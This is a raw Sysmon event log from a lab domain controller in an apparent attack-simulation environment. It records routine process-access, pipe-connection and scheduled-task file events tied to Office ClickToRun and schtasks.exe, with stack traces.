14:44:05.596{7BD73061-65B0-613B-0B00-00000000F001}6203916C:\Windows\system32\lsass.exe{7BD73061-6F35-613B-8408-00000000F001}5852C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040747Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.596{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040746Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.596{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F35-613B-8408-00000000F001}5852C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000040745Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.596{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000040744Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.581{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040743Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.581{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040742Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.581{7BD73061-6F35-613B-8508-00000000F001}68922180C:\Windows\system32\conhost.exe{7BD73061-6F35-613B-8408-00000000F001}5852C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040741Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.565{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040740Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.565{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}6892C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040739Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.565{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040738Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.565{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}5852C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040737Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.565{7BD73061-6E00-613B-E006-00000000F001}59925948C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{00000000-0000-0000-0000-000000000000}5852C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+546a1|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+544db|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+3a992d|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4ad060|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4369ef|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4831bb|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+620c4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+d4ccf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+2394a2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+174aca|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040736Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.565{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040735Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.549{7BD73061-65B0-613B-0B00-00000000F001}620788C:\Windows\system32\lsass.exe{7BD73061-6F35-613B-8208-00000000F001}4828C:\Windows\system32\schtasks.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040734Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.549{7BD73061-65B0-613B-0B00-00000000F001}620788C:\Windows\system32\lsass.exe{7BD73061-6F35-613B-8208-00000000F001}4828C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040733Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.549{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040732Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.549{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F35-613B-8208-00000000F001}4828C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040731Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.549{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040730Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.549{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000040729Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.549{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000040728Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.534{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040727Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.534{7BD73061-6F35-613B-8308-00000000F001}71643152C:\Windows\system32\conhost.exe{7BD73061-6F35-613B-8208-00000000F001}4828C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040726Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.534{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040725Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.534{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040724Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.534{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F35-613B-8308-00000000F001}7164C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 18141800x800000000000000040723Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.534{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000040722Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.518{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040721Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.518{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}4828C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040720Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.518{7BD73061-6E00-613B-E006-00000000F001}59925948C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{00000000-0000-0000-0000-000000000000}4828C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+546a1|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+544db|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+3a992d|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+3a9830|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4acd0f|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4366da|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4369a4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4831bb|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+620c4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+d4ccf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+2394a2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+174aca|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040719Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.518{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040718Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.518{7BD73061-65B0-613B-0B00-00000000F001}620788C:\Windows\system32\lsass.exe{7BD73061-6F34-613B-7908-00000000F001}860C:\Program Files\Microsoft Office\root\integration\integrator.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040717Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.518{7BD73061-65B0-613B-0B00-00000000F001}620788C:\Windows\system32\lsass.exe{7BD73061-6F34-613B-7908-00000000F001}860C:\Program Files\Microsoft Office\root\integration\integrator.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040716Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.518{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040715Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.502{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000040714Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10532021-09-10 14:44:05.502{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exeC:\Windows\System32\Tasks\Microsoft\Office\Office ClickToRun Service Monitor2021-09-10 14:44:05.502 10341000x800000000000000040713Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.502{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040712Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.502{7BD73061-65B0-613B-0B00-00000000F001}620788C:\Windows\system32\lsass.exe{7BD73061-6F35-613B-8008-00000000F001}6576C:\Windows\system32\schtasks.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 